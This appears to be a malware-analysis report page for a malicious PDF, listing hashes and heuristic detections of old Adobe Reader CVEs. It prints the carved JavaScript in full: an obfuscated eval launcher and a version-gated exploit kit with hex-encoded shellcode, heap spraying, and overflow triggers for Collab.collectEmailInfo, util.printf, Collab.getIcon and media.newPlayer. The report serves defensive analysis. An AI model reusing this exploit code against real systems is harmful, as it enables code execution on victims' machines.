Malicious PDF — malware analysis report

Static analysis result for SHA-256 edc6d79fc5c6bada…

MALICIOUS

PDF

25.2 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2013-06-27
MD5: b0fe06f998cdec45495ba9b9cb5c9e84 SHA-1: 8c9c48c02b24d6280ea2bd488d7ade80f2978f72 SHA-256: edc6d79fc5c6bada221adc8885ed86c084dea6b167b0dc29805f963b27f56433
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript, named 'javascript_obj0001_000.js', is likely intended to perform malicious actions upon execution, such as downloading a second-stage payload. The use of String.fromCharCode further suggests obfuscation techniques common in malicious scripts.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 555 bytes
SHA-256: 93229ca41bc694119c3c15ae7995f22af5ef541c375c240784eccaf04d6bb0e4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
twh='';
var q = date.getFullYear()-2007;
bkw='2011s'.replace(date.getFullYear(),'hi');
vte=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+bkw+'[a]');
var lnkl = g(vte);
shq=('sub2011').replace(date.getFullYear(),'ject');
var pdl=g(shq).replace(date.getFullYear(),'al');
mpj=g(pdl);
vlibi='pro2011cer';
vlibi=mpj('vlibi.replace(date.getFullYear(),"du")');
xwijb=mpj(g(vlibi));
lsrz = mpj(lnkl);
for (i = 0; i < lsrz.length; i++) {
	ntgfy = lsrz[i];
	twh += xwijb(ntgfy);
}
mpj(twh);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x2F4 3636 bytes
SHA-256: de19abc223a2d087e8e402f363ebcf878c41f31d0d0b82ee2142cf8a9df745c9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u5834%ue2aa%uc3fa%ue5e8%uffff%ub1ff%u5954%u5858%ud906%u04b4%u5859%ud158%ud5bf%u4817%u37d5%u690c%u0f83%u0b09%u0b0b%u0b0b%u0b0b%u0b0d%u300b%u595c%u5858%u0e0d%u300b%u3637%u5858%u2d30%u342a%u0c35%ud630%u5616%ub0b4%u5810%u5858%ub008%u5824%u5858%u88a7%u9cdb%u3050%ub717%u5d17%ub008%u5834%u5858%u88a7%u98dd%u4f2d%u0c32%uab01%u30f2%ua62a%u4eeb%u45b0%u5858%u0858%u09b0%u5858%ua758%u0b88%ua632%ud130%u5937%ub0e5%u5850%u5858%ub008%u5864%u5858%u88a7%u6938%u3c98%u08d3%ud368%u540a%u0ad3%ud34c%u702a%u40e1%u5858%u6958%u69a7%uf498%u3964%u5a24%u7874%u9799%u5955%uba9f%ud9a8%u03a7%u12e4%ud332%u481a%u4ad3%u812d%u1cd1%u447c%u9b39%ud338%u7c34%ud37c%u641d%u0cd3%u205d%ub259%u12d3%ud340%u7802%ub359%u6cbb%ud311%ud36c%ub659%ua769%u9869%uf4a4%u98dc%u5f2c%u9799%u5955%ub39f%u63ac%u7c24%u2d70%ud3b9%u7c02%ub359%ud33e%u1354%u02d3%u5944%ud3b3%ud35c%ub059%u1cd1%u447c%u9a39%u5850%ub7b0%ua7a6%u30a7%u2c2c%u6228%u7777%u3929%u2922%u3b76%u7637%u3b3b%u3c77%u2876%u2830%u3e67%u6a65%u7e6e%u653d%u586b';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.